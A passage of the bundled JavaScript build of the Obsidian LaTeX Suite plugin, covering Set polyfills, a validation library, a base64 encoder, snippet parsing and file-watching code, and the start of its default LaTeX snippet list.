require_is_set(); + var tools = require_tools(); + var $setForEach = tools.forEach; + var $setAdd = tools.add; + var $setSize = tools.size; + var $push = callBound("Array.prototype.push"); + var $setHas = callBind($Set.prototype.has); + module2.exports = function intersection2(other) { + var O = this; + if (!isSet(O) && !(O instanceof $Set)) { + throw new $TypeError("Method Set.prototype.intersection called on incompatible receiver " + O); + } + var otherRec = GetSetRecord(other); + var resultSetData = []; + var thisSize = $setSize(O); + if (thisSize <= otherRec["[[Size]]"]) { + var index = 0; + $setForEach(O, function(e) { + if (index < thisSize) { + index += 1; + var inOther = ToBoolean(Call(otherRec["[[Has]]"], otherRec["[[Set]]"], [e])); + if (inOther) { + var alreadyInResult2 = SetDataHas(resultSetData, e); + if (!alreadyInResult2) { + $push(resultSetData, e); + thisSize += 1; + } + } + } + }); + } else { + var keysIter = GetIteratorFromMethod(otherRec["[[Set]]"], otherRec["[[Keys]]"]); + var next; + while (!keysIter["[[Done]]"]) { + next = IteratorStepValue(keysIter); + if (!keysIter["[[Done]]"]) { + if (next === 0) { + next = 0; + } + var alreadyInResult = SetDataHas(resultSetData, next); + var inThis = $setHas(O, next); + if (!alreadyInResult && inThis) { + $push(resultSetData, next); + } + } + } + } + var result = new $Set(); + forEach(resultSetData, function(e) { + $setAdd(result, e); + }); + return result; + }; + } +}); + +// node_modules/set.prototype.intersection/polyfill.js +var require_polyfill6 = __commonJS({ + "node_modules/set.prototype.intersection/polyfill.js"(exports, module2) { + "use strict"; + var Set2 = require_polyfill2()(); + var implementation = require_implementation8(); + module2.exports = function getPolyfill() { + return typeof Set2.prototype.intersection === "function" ? Set2.prototype.intersection : implementation; + }; + } +}); + +// node_modules/set.prototype.intersection/shim.js +var require_shim6 = __commonJS({ + "node_modules/set.prototype.intersection/shim.js"(exports, module2) { + "use strict"; + var getPolyfill = require_polyfill6(); + var define = require_define_properties(); + var shimSet = require_shim4(); + module2.exports = function shimSetIntersection() { + shimSet(); + var polyfill = getPolyfill(); + define( + Set.prototype, + { intersection: polyfill }, + { intersection: function() { + return Set.prototype.intersection !== polyfill; + } } + ); + return polyfill; + }; + } +}); + +// node_modules/set.prototype.intersection/index.js +var require_set_prototype2 = __commonJS({ + "node_modules/set.prototype.intersection/index.js"(exports, module2) { + "use strict"; + var callBind = require_call_bind(); + var define = require_define_properties(); + var implementation = require_implementation8(); + var getPolyfill = require_polyfill6(); + var shim = require_shim6(); + var bound = callBind(getPolyfill()); + define(bound, { + getPolyfill, + implementation, + shim + }); + module2.exports = bound; + } +}); + +// src/main.ts +var main_exports = {}; +__export(main_exports, { + default: () => LatexSuitePlugin +}); +module.exports = __toCommonJS(main_exports); +var import_state13 = require("@codemirror/state"); +var import_obsidian8 = require("obsidian"); + +// src/settings/file_watch.ts +var import_obsidian = require("obsidian"); + +// node_modules/valibot/dist/index.js +var ValiError = class extends Error { + /** + * Creates a Valibot error with useful information. + * + * @param issues The error issues. + */ + constructor(issues) { + super(issues[0].message); + __publicField(this, "issues"); + this.name = "ValiError"; + this.issues = issues; + } +}; +var BrandSymbol = Symbol("brand"); +function errorMessage(message) { + return typeof message === "function" ? message() : message; +} +function defaultArgs(arg1, arg2) { + return Array.isArray(arg1) ? [void 0, arg1] : [arg1, arg2]; +} +function parseResult(typed, output, issues) { + return { typed, output, issues }; +} +function restAndDefaultArgs(arg1, arg2, arg3) { + if (!arg1 || typeof arg1 === "object" && !Array.isArray(arg1)) { + const [error2, pipe2] = defaultArgs(arg2, arg3); + return [arg1, error2, pipe2]; + } + const [error, pipe] = defaultArgs( + arg1, + arg2 + ); + return [void 0, error, pipe]; +} +function pipeIssue(info, issue) { + return { + reason: info == null ? void 0 : info.reason, + validation: issue.validation, + origin: (info == null ? void 0 : info.origin) || "value", + message: issue.message, + input: issue.input, + requirement: issue == null ? void 0 : issue.requirement, + path: issue.path, + abortEarly: info == null ? void 0 : info.abortEarly, + abortPipeEarly: info == null ? void 0 : info.abortPipeEarly, + skipPipe: info == null ? void 0 : info.skipPipe + }; +} +function pipeInfo(info, reason) { + return { + reason, + origin: info == null ? void 0 : info.origin, + abortEarly: info == null ? void 0 : info.abortEarly, + abortPipeEarly: info == null ? void 0 : info.abortPipeEarly, + skipPipe: info == null ? void 0 : info.skipPipe + }; +} +function pipeResult(input, pipe, parseInfo, reason, issues) { + let info; + let output = input; + if ((pipe == null ? void 0 : pipe.length) && !(parseInfo == null ? void 0 : parseInfo.skipPipe)) { + for (const action of pipe) { + const result = action._parse(output); + if (result.issues) { + info = info || pipeInfo(parseInfo, reason); + for (const issueInfo of result.issues) { + const issue = pipeIssue(info, issueInfo); + issues ? issues.push(issue) : issues = [issue]; + } + if (info.abortEarly || info.abortPipeEarly) { + break; + } + } else { + output = result.output; + } + } + } + return parseResult(true, output, issues); +} +function schemaIssue(info, reason, validation, message, input, issues) { + return { + typed: false, + output: input, + issues: [ + { + reason, + validation, + origin: (info == null ? void 0 : info.origin) || "value", + message: errorMessage(message), + input, + issues, + abortEarly: info == null ? void 0 : info.abortEarly, + abortPipeEarly: info == null ? void 0 : info.abortPipeEarly, + skipPipe: info == null ? void 0 : info.skipPipe + } + ] + }; +} +function getDefault(schema) { + return typeof schema.default === "function" ? schema.default() : schema.default; +} +function instance(class_, arg2, arg3) { + const [message = "Invalid type", pipe] = defaultArgs(arg2, arg3); + return { + type: "instance", + async: false, + class: class_, + message, + pipe, + _parse(input, info) { + if (!(input instanceof this.class)) { + return schemaIssue(info, "type", "instance", this.message, input); + } + return pipeResult(input, this.pipe, info, "instance"); + } + }; +} +function number(arg1, arg2) { + const [message = "Invalid type", pipe] = defaultArgs(arg1, arg2); + return { + type: "number", + async: false, + message, + pipe, + _parse(input, info) { + if (typeof input !== "number" || isNaN(input)) { + return schemaIssue(info, "type", "number", this.message, input); + } + return pipeResult(input, this.pipe, info, "number"); + } + }; +} +function object(entries, arg2, arg3, arg4) { + const [rest, message = "Invalid type", pipe] = restAndDefaultArgs(arg2, arg3, arg4); + let cachedEntries; + return { + type: "object", + async: false, + entries, + rest, + message, + pipe, + _parse(input, info) { + if (!input || typeof input !== "object") { + return schemaIssue(info, "type", "object", this.message, input); + } + cachedEntries = cachedEntries || Object.entries(this.entries); + let typed = true; + let issues; + const output = {}; + for (const [key, schema] of cachedEntries) { + const value2 = input[key]; + const result = schema._parse(value2, info); + if (result.issues) { + const pathItem = { + type: "object", + input, + key, + value: value2 + }; + for (const issue of result.issues) { + if (issue.path) { + issue.path.unshift(pathItem); + } else { + issue.path = [pathItem]; + } + issues == null ? void 0 : issues.push(issue); + } + if (!issues) { + issues = result.issues; + } + if (info == null ? void 0 : info.abortEarly) { + typed = false; + break; + } + } + if (!result.typed) { + typed = false; + } + if (result.output !== void 0 || key in input) { + output[key] = result.output; + } + } + if (this.rest && !((info == null ? void 0 : info.abortEarly) && issues)) { + for (const key in input) { + if (!(key in this.entries)) { + const value2 = input[key]; + const result = this.rest._parse(value2, info); + if (result.issues) { + const pathItem = { + type: "object", + input, + key, + value: value2 + }; + for (const issue of result.issues) { + if (issue.path) { + issue.path.unshift(pathItem); + } else { + issue.path = [pathItem]; + } + issues == null ? void 0 : issues.push(issue); + } + if (!issues) { + issues = result.issues; + } + if (info == null ? void 0 : info.abortEarly) { + typed = false; + break; + } + } + if (!result.typed) { + typed = false; + } + output[key] = result.output; + } + } + } + if (typed) { + return pipeResult( + output, + this.pipe, + info, + "object", + issues + ); + } + return parseResult(false, output, issues); + } + }; +} +function optional(wrapped, default_) { + return { + type: "optional", + async: false, + wrapped, + default: default_, + _parse(input, info) { + if (input === void 0) { + const override = getDefault(this); + if (override === void 0) { + return parseResult(true, input); + } + input = override; + } + return this.wrapped._parse(input, info); + } + }; +} +function string(arg1, arg2) { + const [message = "Invalid type", pipe] = defaultArgs(arg1, arg2); + return { + type: "string", + async: false, + message, + pipe, + _parse(input, info) { + if (typeof input !== "string") { + return schemaIssue(info, "type", "string", this.message, input); + } + return pipeResult(input, this.pipe, info, "string"); + } + }; +} +function special(check, arg2, arg3) { + const [message = "Invalid type", pipe] = defaultArgs(arg2, arg3); + return { + type: "special", + async: false, + check, + message, + pipe, + _parse(input, info) { + if (!this.check(input)) { + return schemaIssue(info, "type", "special", this.message, input); + } + return pipeResult(input, this.pipe, info, "special"); + } + }; +} +function union(options, message = "Invalid type") { + return { + type: "union", + async: false, + options, + message, + _parse(input, info) { + let issues; + let output; + for (const schema of this.options) { + const result = schema._parse(input, info); + if (result.issues) { + if (issues) { + for (const issue of result.issues) { + issues.push(issue); + } + } else { + issues = result.issues; + } + } else { + output = [result.output]; + break; + } + } + if (output) { + return parseResult(true, output[0]); + } + return schemaIssue(info, "type", "union", this.message, input, issues); + } + }; +} +function parse(schema, input, info) { + const result = schema._parse(input, info); + if (result.issues) { + throw new ValiError(result.issues); + } + return result.output; +} + +// node_modules/js-base64/base64.mjs +var _hasbtoa = typeof btoa === "function"; +var _hasBuffer = typeof Buffer === "function"; +var _TD = typeof TextDecoder === "function" ? new TextDecoder() : void 0; +var _TE = typeof TextEncoder === "function" ? new TextEncoder() : void 0; +var b64ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; +var b64chs = Array.prototype.slice.call(b64ch); +var b64tab = ((a) => { + let tab = {}; + a.forEach((c, i) => tab[c] = i); + return tab; +})(b64chs); +var _fromCC = String.fromCharCode.bind(String); +var _U8Afrom = typeof Uint8Array.from === "function" ? Uint8Array.from.bind(Uint8Array) : (it) => new Uint8Array(Array.prototype.slice.call(it, 0)); +var _mkUriSafe = (src) => src.replace(/=/g, "").replace(/[+\/]/g, (m0) => m0 == "+" ? "-" : "_"); +var btoaPolyfill = (bin) => { + let u32, c0, c1, c2, asc = ""; + const pad = bin.length % 3; + for (let i = 0; i < bin.length; ) { + if ((c0 = bin.charCodeAt(i++)) > 255 || (c1 = bin.charCodeAt(i++)) > 255 || (c2 = bin.charCodeAt(i++)) > 255) + throw new TypeError("invalid character found"); + u32 = c0 << 16 | c1 << 8 | c2; + asc += b64chs[u32 >> 18 & 63] + b64chs[u32 >> 12 & 63] + b64chs[u32 >> 6 & 63] + b64chs[u32 & 63]; + } + return pad ? asc.slice(0, pad - 3) + "===".substring(pad) : asc; +}; +var _btoa = _hasbtoa ? (bin) => btoa(bin) : _hasBuffer ? (bin) => Buffer.from(bin, "binary").toString("base64") : btoaPolyfill; +var _fromUint8Array = _hasBuffer ? (u8a) => Buffer.from(u8a).toString("base64") : (u8a) => { + const maxargs = 4096; + let strs = []; + for (let i = 0, l = u8a.length; i < l; i += maxargs) { + strs.push(_fromCC.apply(null, u8a.subarray(i, i + maxargs))); + } + return _btoa(strs.join("")); +}; +var cb_utob = (c) => { + if (c.length < 2) { + var cc = c.charCodeAt(0); + return cc < 128 ? c : cc < 2048 ? _fromCC(192 | cc >>> 6) + _fromCC(128 | cc & 63) : _fromCC(224 | cc >>> 12 & 15) + _fromCC(128 | cc >>> 6 & 63) + _fromCC(128 | cc & 63); + } else { + var cc = 65536 + (c.charCodeAt(0) - 55296) * 1024 + (c.charCodeAt(1) - 56320); + return _fromCC(240 | cc >>> 18 & 7) + _fromCC(128 | cc >>> 12 & 63) + _fromCC(128 | cc >>> 6 & 63) + _fromCC(128 | cc & 63); + } +}; +var re_utob = /[\uD800-\uDBFF][\uDC00-\uDFFFF]|[^\x00-\x7F]/g; +var utob = (u) => u.replace(re_utob, cb_utob); +var _encode = _hasBuffer ? (s) => Buffer.from(s, "utf8").toString("base64") : _TE ? (s) => _fromUint8Array(_TE.encode(s)) : (s) => _btoa(utob(s)); +var encode = (src, urlsafe = false) => urlsafe ? _mkUriSafe(_encode(src)) : _encode(src); + +// src/snippets/snippets.ts +var VISUAL_SNIPPET_MAGIC_SELECTION_PLACEHOLDER = "${VISUAL}"; +var Snippet = class { + constructor(type, trigger, replacement, options, priority, description, excludedEnvironments) { + this.type = type; + this.data = { trigger, replacement }; + this.options = options; + this.priority = priority; + this.description = description; + this.excludedEnvironments = excludedEnvironments != null ? excludedEnvironments : []; + } + // we need to explicitly type the return value here so the derived classes, + // have the getter typed properly for the particular the derived class extends + get trigger() { + return this.data.trigger; + } + get replacement() { + return this.data.replacement; + } + toString() { + return serializeSnippetLike({ + type: this.type, + trigger: this.trigger, + replacement: this.replacement, + options: this.options, + priority: this.priority, + description: this.description, + excludedEnvironments: this.excludedEnvironments + }); + } +}; +var VisualSnippet = class extends Snippet { + constructor({ trigger, replacement, options, priority, description, excludedEnvironments }) { + super("visual", trigger, replacement, options, priority, description, excludedEnvironments); + } + process(effectiveLine, range, sel) { + const hasSelection = !!sel; + if (!hasSelection) { + return null; + } + if (!effectiveLine.endsWith(this.trigger)) { + return null; + } + const triggerPos = range.from; + let replacement; + if (typeof this.replacement === "string") { + replacement = this.replacement.replace(VISUAL_SNIPPET_MAGIC_SELECTION_PLACEHOLDER, sel); + } else { + replacement = this.replacement(sel); + if (typeof replacement !== "string") { + return null; + } + } + return { triggerPos, replacement }; + } +}; +var RegexSnippet = class extends Snippet { + constructor({ trigger, replacement, options, priority, description, excludedEnvironments }) { + super("regex", trigger, replacement, options, priority, description, excludedEnvironments); + } + process(effectiveLine, range, sel) { + const hasSelection = !!sel; + if (hasSelection) { + return null; + } + const result = this.trigger.exec(effectiveLine); + if (result === null) { + return null; + } + const triggerPos = result.index; + let replacement; + if (typeof this.replacement === "string") { + const nCaptureGroups = result.length - 1; + replacement = Array.from({ length: nCaptureGroups }).map((_, i) => i + 1).reduce( + (replacement2, i) => replacement2.replaceAll(`[[${i - 1}]]`, result[i]), + this.replacement + ); + } else { + replacement = this.replacement(result); + if (typeof replacement !== "string") { + return null; + } + } + return { triggerPos, replacement }; + } +}; +var StringSnippet = class extends Snippet { + constructor({ trigger, replacement, options, priority, description, excludedEnvironments: excludeIn }) { + super("string", trigger, replacement, options, priority, description, excludeIn); + } + process(effectiveLine, range, sel) { + const hasSelection = !!sel; + if (hasSelection) { + return null; + } + if (!effectiveLine.endsWith(this.trigger)) { + return null; + } + const triggerPos = effectiveLine.length - this.trigger.length; + const replacement = typeof this.replacement === "string" ? this.replacement : this.replacement(this.trigger); + if (typeof replacement !== "string") { + return null; + } + return { triggerPos, replacement }; + } +}; +function replacer(k, v) { + if (typeof v === "function") { + return "[[Function]]"; + } + if (v instanceof RegExp) { + return `[[RegExp]]: ${v.toString()}`; + } + return v; +} +function serializeSnippetLike(snippetLike) { + return JSON.stringify(snippetLike, replacer, 2); +} + +// src/snippets/options.ts +var Options = class _Options { + constructor() { + this.mode = new Mode(); + this.automatic = false; + this.regex = false; + this.onWordBoundary = false; + this.visual = false; + } + static fromSource(source) { + const options = new _Options(); + options.mode = Mode.fromSource(source); + for (const flag_char of source) { + switch (flag_char) { + case "A": + options.automatic = true; + break; + case "r": + options.regex = true; + break; + case "w": + options.onWordBoundary = true; + break; + case "v": + options.visual = true; + break; + } + } + return options; + } +}; +var Mode = class _Mode { + /** + * Whether the state is inside an equation bounded by $ or $$ delimeters. + */ + inEquation() { + return this.inlineMath || this.blockMath; + } + /** + * Whether the state is in any math mode. + * + * The equation may be bounded by $ or $$ delimeters, or it may be an equation inside a `math` codeblock. + */ + inMath() { + return this.inlineMath || this.blockMath || this.codeMath; + } + /** + * Whether the state is strictly in math mode. + * + * Returns false when the state is within math, but inside a text environment, such as \text{}. + */ + strictlyInMath() { + return this.inMath() && !this.textEnv; + } + constructor() { + this.text = false; + this.blockMath = false; + this.inlineMath = false; + this.code = false; + this.textEnv = false; + } + invert() { + this.text = !this.text; + this.blockMath = !this.blockMath; + this.inlineMath = !this.inlineMath; + this.codeMath = !this.codeMath; + this.code = !this.code; + this.textEnv = !this.textEnv; + } + static fromSource(source) { + const mode = new _Mode(); + for (const flag_char of source) { + switch (flag_char) { + case "m": + mode.blockMath = true; + mode.inlineMath = true; + break; + case "n": + mode.inlineMath = true; + break; + case "M": + mode.blockMath = true; + break; + case "t": + mode.text = true; + break; + case "c": + mode.code = true; + break; + } + } + if (!(mode.text || mode.inlineMath || mode.blockMath || mode.codeMath || mode.code || mode.textEnv)) { + mode.invert(); + return mode; + } + return mode; + } +}; + +// src/snippets/sort.ts +function sortSnippets(snippets2) { + return snippets2.map((snippet, i) => [getPriority(snippet), getTriggerLength(snippet), i]).sort(schwartzianSnippetCompare).map(([p, t2, i]) => snippets2[i]); +} +function schwartzianSnippetCompare(a, b) { + return comparePriority(a[0], b[0]) || compareTriggerLength(a[1], b[1]); +} +function compareTriggerLength(a, b) { + if (a < b) { + return 1; + } + if (a > b) { + return -1; + } + return 0; +} +function comparePriority(a, b) { + if (a < b) { + return 1; + } + if (a > b) { + return -1; + } + return 0; +} +function getPriority(snippet) { + return snippet.priority || 0; +} +function getTriggerLength(snippet) { + return typeof snippet.trigger === "string" ? snippet.trigger.length : snippet.trigger.source.length; +} + +// src/snippets/environment.ts +var EXCLUSIONS = { + "([A-Za-z])(\\d)": { openSymbol: "\\pu{", closeSymbol: "}" }, + "->": { openSymbol: "\\ce{", closeSymbol: "}" } +}; + +// src/snippets/parse.ts +function importRaw(maybeJavaScriptCode) { + return __async(this, null, function* () { + let raw; + try { + try { + raw = yield importModuleDefault(`data:text/javascript;base64,${encode(maybeJavaScriptCode)}`); + } catch (e) { + raw = yield importModuleDefault(`data:text/javascript;base64,${encode(`export default ${maybeJavaScriptCode}`)}`); + } + } catch (e) { + throw "Invalid format."; + } + return raw; + }); +} +function parseSnippetVariables(snippetVariablesStr) { + return __async(this, null, function* () { + const rawSnippetVariables = yield importRaw(snippetVariablesStr); + if (Array.isArray(rawSnippetVariables)) + throw "Cannot parse an array as a variables object"; + const snippetVariables = {}; + for (const [variable, value] of Object.entries(rawSnippetVariables)) { + if (variable.startsWith("${")) { + if (!variable.endsWith("}")) { + throw `Invalid snippet variable name '${variable}': Starts with '\${' but does not end with '}'. You need to have both or neither.`; + } + snippetVariables[variable] = value; + } else { + if (variable.endsWith("}")) { + throw `Invalid snippet variable name '${variable}': Ends with '}' but does not start with '\${'. You need to have both or neither.`; + } + snippetVariables["${" + variable + "}"] = value; + } + } + return snippetVariables; + }); +} +function parseSnippets(snippetsStr, snippetVariables) { + return __async(this, null, function* () { + let rawSnippets = yield importRaw(snippetsStr); + let parsedSnippets; + try { + rawSnippets = validateRawSnippets(rawSnippets); + parsedSnippets = rawSnippets.map((raw) => { + try { + return parseSnippet(raw, snippetVariables); + } catch (e) { + throw `${e} +Erroring snippet: +${serializeSnippetLike(raw)}`; + } + }); + } catch (e) { + throw `Invalid snippet format: ${e}`; + } + parsedSnippets = sortSnippets(parsedSnippets); + return parsedSnippets; + }); +} +function importModuleDefault(module2) { + return __async(this, null, function* () { + let data; + try { + data = yield import(module2); + } catch (e) { + throw `failed to import module ${module2}`; + } + if (!("default" in data)) { + throw `No default export provided for module ${module2}`; + } + return data.default; + }); +} +var RawSnippetSchema = object({ + trigger: union([string(), instance(RegExp)]), + replacement: union([string(), special((x) => typeof x === "function")]), + options: string(), + flags: optional(string()), + priority: optional(number()), + description: optional(string()) +}); +function validateRawSnippets(snippets2) { + if (!Array.isArray(snippets2)) { + throw "Expected snippets to be an array"; + } + return snippets2.map((raw) => { + try { + return parse(RawSnippetSchema, raw); + } catch (e) { + throw `Value does not resemble snippet. +Erroring snippet: +${serializeSnippetLike(raw)}`; + } + }); +} +function parseSnippet(raw, snippetVariables) { + var _a; + const { replacement, priority, description } = raw; + const options = Options.fromSource(raw.options); + let trigger; + let excludedEnvironments; + if (options.regex || raw.trigger instanceof RegExp) { + let triggerStr; + let flags = (_a = raw.flags) != null ? _a : ""; + if (raw.trigger instanceof RegExp) { + triggerStr = raw.trigger.source; + flags = `${raw.trigger.flags}${flags}`; + } else { + triggerStr = raw.trigger; + } + flags = filterFlags(flags); + triggerStr = insertSnippetVariables(triggerStr, snippetVariables); + excludedEnvironments = getExcludedEnvironments(triggerStr); + triggerStr = `${triggerStr}$`; + trigger = new RegExp(triggerStr, flags); + options.regex = true; + const normalised = { trigger, replacement, options, priority, description, excludedEnvironments }; + return new RegexSnippet(normalised); + } else { + let trigger2 = raw.trigger; + trigger2 = insertSnippetVariables(trigger2, snippetVariables); + excludedEnvironments = getExcludedEnvironments(trigger2); + if (typeof replacement === "string" && replacement.includes(VISUAL_SNIPPET_MAGIC_SELECTION_PLACEHOLDER)) { + options.visual = true; + } + const normalised = { trigger: trigger2, replacement, options, priority, description, excludedEnvironments }; + if (options.visual) { + return new VisualSnippet(normalised); + } else { + return new StringSnippet(normalised); + } + } +} +function filterFlags(flags) { + const validFlags = [ + // "d", // doesn't affect the search + // "g", // doesn't affect the pattern match and is almost certainly undesired behavior + "i", + "m", + "s", + "u", + "v" + // "y", // almost certainly undesired behavior + ]; + return Array.from(new Set(flags.split(""))).filter((flag) => validFlags.includes(flag)).join(""); +} +function insertSnippetVariables(trigger, variables) { + for (const [variable, replacement] of Object.entries(variables)) { + trigger = trigger.replace(variable, replacement); + } + return trigger; +} +function getExcludedEnvironments(trigger) { + const result = []; + if (EXCLUSIONS.hasOwnProperty(trigger)) { + result.push(EXCLUSIONS[trigger]); + } + return result; +} + +// src/settings/file_watch.ts +var import_set_prototype = __toESM(require_set_prototype()); +var import_set_prototype2 = __toESM(require_set_prototype2()); +var difference = import_set_prototype.default; +var intersection = import_set_prototype2.default; +function isInFolder(file, dir) { + let cur = file.parent; + let cnt = 0; + while (cur && !cur.isRoot() && cnt < 100) { + if (cur.path === dir.path) + return true; + cur = cur.parent; + cnt++; + } + return false; +} +function fileIsInFolder(plugin, folderPath, file) { + const snippetDir = plugin.app.vault.getAbstractFileByPath(folderPath); + const isFolder = snippetDir instanceof import_obsidian.TFolder; + return isFolder && isInFolder(file, snippetDir); +} +var refreshFromFiles = (0, import_obsidian.debounce)((plugin) => __async(void 0, null, function* () { + if (!(plugin.settings.loadSnippetVariablesFromFile || plugin.settings.loadSnippetsFromFile)) { + return; + } + yield plugin.processSettings(false, true); +}), 500, true); +var onFileChange = (plugin, file) => __async(void 0, null, function* () { + if (!(file instanceof import_obsidian.TFile)) + return; + if (plugin.settings.loadSnippetVariablesFromFile && file.path === plugin.settings.snippetVariablesFileLocation || plugin.settings.loadSnippetsFromFile && file.path === plugin.settings.snippetsFileLocation || fileIsInFolder(plugin, plugin.settings.snippetVariablesFileLocation, file) || fileIsInFolder(plugin, plugin.settings.snippetsFileLocation, file)) { + refreshFromFiles(plugin); + } +}); +var onFileCreate = (plugin, file) => { + if (!(file instanceof import_obsidian.TFile)) + return; + if (plugin.settings.loadSnippetVariablesFromFile && fileIsInFolder(plugin, plugin.settings.snippetVariablesFileLocation, file) || plugin.settings.loadSnippetsFromFile && fileIsInFolder(plugin, plugin.settings.snippetsFileLocation, file)) { + refreshFromFiles(plugin); + } +}; +var onFileDelete = (plugin, file) => { + if (!(file instanceof import_obsidian.TFile)) + return; + const snippetVariablesDir = plugin.app.vault.getAbstractFileByPath(plugin.settings.snippetVariablesFileLocation); + const snippetDir = plugin.app.vault.getAbstractFileByPath(plugin.settings.snippetsFileLocation); + if (plugin.settings.loadSnippetVariablesFromFile && snippetVariablesDir instanceof import_obsidian.TFolder && file.path.contains(snippetVariablesDir.path) || plugin.settings.loadSnippetsFromFile && snippetDir instanceof import_obsidian.TFolder && file.path.contains(snippetDir.path)) { + refreshFromFiles(plugin); + } +}; +function* generateFilesWithin(fileOrFolder) { + if (fileOrFolder instanceof import_obsidian.TFile) + yield fileOrFolder; + else if (fileOrFolder instanceof import_obsidian.TFolder) + for (const child of fileOrFolder.children) + yield* __yieldStar(generateFilesWithin(child)); +} +function getFilesWithin(vault, path) { + const fileOrFolder = vault.getAbstractFileByPath(path); + const files = generateFilesWithin(fileOrFolder); + return new Set(files); +} +function getFileSets(plugin) { + const variablesFolder = plugin.settings.loadSnippetVariablesFromFile ? getFilesWithin(plugin.app.vault, plugin.settings.snippetVariablesFileLocation) : /* @__PURE__ */ new Set(); + const snippetsFolder = plugin.settings.loadSnippetsFromFile ? getFilesWithin(plugin.app.vault, plugin.settings.snippetsFileLocation) : /* @__PURE__ */ new Set(); + const definitelyVariableFiles = difference(variablesFolder, snippetsFolder); + const definitelySnippetFiles = difference(snippetsFolder, variablesFolder); + const snippetOrVariableFiles = intersection(variablesFolder, snippetsFolder); + return { definitelyVariableFiles, definitelySnippetFiles, snippetOrVariableFiles }; +} +function getVariablesFromFiles(plugin, files) { + return __async(this, null, function* () { + const snippetVariables = {}; + for (const file of files.definitelyVariableFiles) { + const content = yield plugin.app.vault.cachedRead(file); + try { + Object.assign(snippetVariables, yield parseSnippetVariables(content)); + } catch (e) { + new import_obsidian.Notice(`Failed to parse variable file ${file.name}: ${e}`); + console.log(`Failed to parse variable file ${file.name}: ${e}`); + files.definitelyVariableFiles.delete(file); + } + } + return snippetVariables; + }); +} +function tryGetVariablesFromUnknownFiles(plugin, files) { + return __async(this, null, function* () { + const snippetVariables = {}; + for (const file of files.snippetOrVariableFiles) { + const content = yield plugin.app.vault.cachedRead(file); + try { + Object.assign(snippetVariables, yield parseSnippetVariables(content)); + files.definitelyVariableFiles.add(file); + } catch (e) { + files.definitelySnippetFiles.add(file); + } + files.snippetOrVariableFiles.delete(file); + } + return snippetVariables; + }); +} +function getSnippetsFromFiles(plugin, files, snippetVariables) { + return __async(this, null, function* () { + const snippets2 = []; + for (const file of files.definitelySnippetFiles) { + const content = yield plugin.app.vault.cachedRead(file); + try { + snippets2.push(...yield parseSnippets(content, snippetVariables)); + } catch (e) { + new import_obsidian.Notice(`Failed to parse snippet file ${file.name}: ${e}`); + console.log(`Failed to parse snippet file ${file.name}: ${e}`); + files.definitelySnippetFiles.delete(file); + } + } + return sortSnippets(snippets2); + }); +} + +// _cido53poa:/home/runner/work/obsidian-latex-suite/obsidian-latex-suite/src/default_snippets.js +var default_snippets_default = '[\n // Math mode\n {trigger: "mk", replacement: "$$0$", options: "tA"},\n {trigger: "dm", replacement: "$$\\n$0\\n$$", options: "tAw"},\n {trigger: "beg", replacement: "\\\\begin{$0}\\n$1\\n\\\\end{$0}", options: "mA"},\n\n // Dashes\n // {trigger: "--", replacement: "\u2013", options: "tA"},\n // {trigger: "\u2013-", replacement: "\u2014", options: "tA"},\n // {trigger: "\u2014-", replacement: "---", options: "tA"},\n\n // Greek letters\n {trigger: "@a", replacement: "\\\\alpha", options: "mA"},\n {trigger: "@b", replacement: "\\\\beta", options: "mA"},\n {trigger: "@g", replacement: "\\\\gamma", options: "mA"},\n {trigger: "@G", replacement: "\\\\Gamma", options: "mA"},\n {trigger: "@d", replacement: "\\\\delta", options: "mA"},\n {trigger: "@D", replacement: "\\\\Delta", options: "mA"},\n {trigger: "@e", replacement: "\\\\epsilon", options: "mA"},\n {trigger: ":e", replacement: "\\\\varepsilon", options: "mA"},\n {trigger: "@z", replacement: "\\\\zeta", options: "mA"},\n {trigger: "@t", replacement: "\\\\theta", options: "mA"},\n {trigger: "@T", replacement: "\\\\Theta", options: "mA"},\n {trigger: ":t", replacement: "\\\\vartheta", options: "mA"},\n {trigger: "@i", replacement: "\\\\iota", options: "mA"},\n {trigger: "@k", replacement: "\\\\kappa", options: "mA"},\n {trigger: "@l", replacement: "\\\\lambda", options: "mA"},\n {trigger: "@L", replacement: "\\\\Lambda", options: "mA"},\n {trigger: "@s", replacement: "\\\\sigma", options: "mA"},\n {trigger: "@S", replacement: "\\\\Sigma", options: "mA"},\n {trigger: "@u", replacement: "\\\\upsilon", options: "mA"},\n {trigger: "@U", replacement: "\\\\Upsilon", options: "mA"},\n {trigger: "@o", replacement: "\\\\omega", options: "mA"},\n {trigger: "@O", replacement: "\\\\Omega", options: "mA"},\n {trigger: "ome", replacement: "\\\\omega", options: "mA"},\n {trigger: "Ome", replacement: "\\\\Omega", options: "mA"},\n\n // Text environment\n {trigger: "text", replacement: "\\\\text{$0}$1", options: "mA"},\n {trigger: "\\"", replacement: "\\\\text{$0}$1", options: "mA"},\n\n // Basic operations\n {trigger: "sr", replacement: "^{2}", options: "mA"},\n {trigger: "cb", replacement: "^{3}", options: "mA"},\n {trigger: "rd", replacement: "^{$0}$1", options: "mA"},\n {trigger: "_", replacement: "_{$0}$1", options: "mA"},\n {trigger: "sts", replacement: "_\\\\text{$0}", options: "mA"},\n {trigger: "sq", replacement: "\\\\sqrt{ $0 }$1", options: "mA"},\n {trigger: "//", replacement: "\\\\frac{$0}{$1}$2", options: "mA"},\n {trigger: "ee", replacement: "e^{ $0 }$1", options: "mA"},\n {trigger: "invs", replacement: "^{-1}", options: "mA"},\n {trigger: /([A-Za-z])(\\d)/, replacement: "[[0]]_{[[1]]}", options: "rmA", description: "Auto letter subscript", priority: -1},\n\n {trigger: /([^\\\\])(exp|log|ln)/, replacement: "[[0]]\\\\[[1]]", options: "rmA"},\n {trigger: "conj", replacement: "^{*}", options: "mA"},\n {trigger: "Re", replacement: "\\\\mathrm{Re}", options: "mA"},\n {trigger: "Im", replacement: "\\\\mathrm{Im}", options: "mA"},\n {trigger: "bf", replacement: "\\\\mathbf{$0}", options: "mA"},\n {trigger: "rm", replacement: "\\\\mathrm{$0}$1", options: "mA"},\n\n // Linear algebra\n {trigger: /([^\\\\])(det)/, replacement: "[[0]]\\\\[[1]]", options: "rmA"},\n {trigger: "trace", replacement: "\\\\mathrm{Tr}", options: "mA"},\n\n // More operations\n {trigger: "([a-zA-Z])hat", replacement: "\\\\hat{[[0]]}", options: "rmA"},\n {trigger: "([a-zA-Z])bar", replacement: "\\\\bar{[[0]]}", options: "rmA"},\n {trigger: "([a-zA-Z])dot", replacement: "\\\\dot{[[0]]}", options: "rmA", priority: -1},\n {trigger: "([a-zA-Z])ddot", replacement: "\\\\ddot{[[0]]}", options: "rmA", priority: 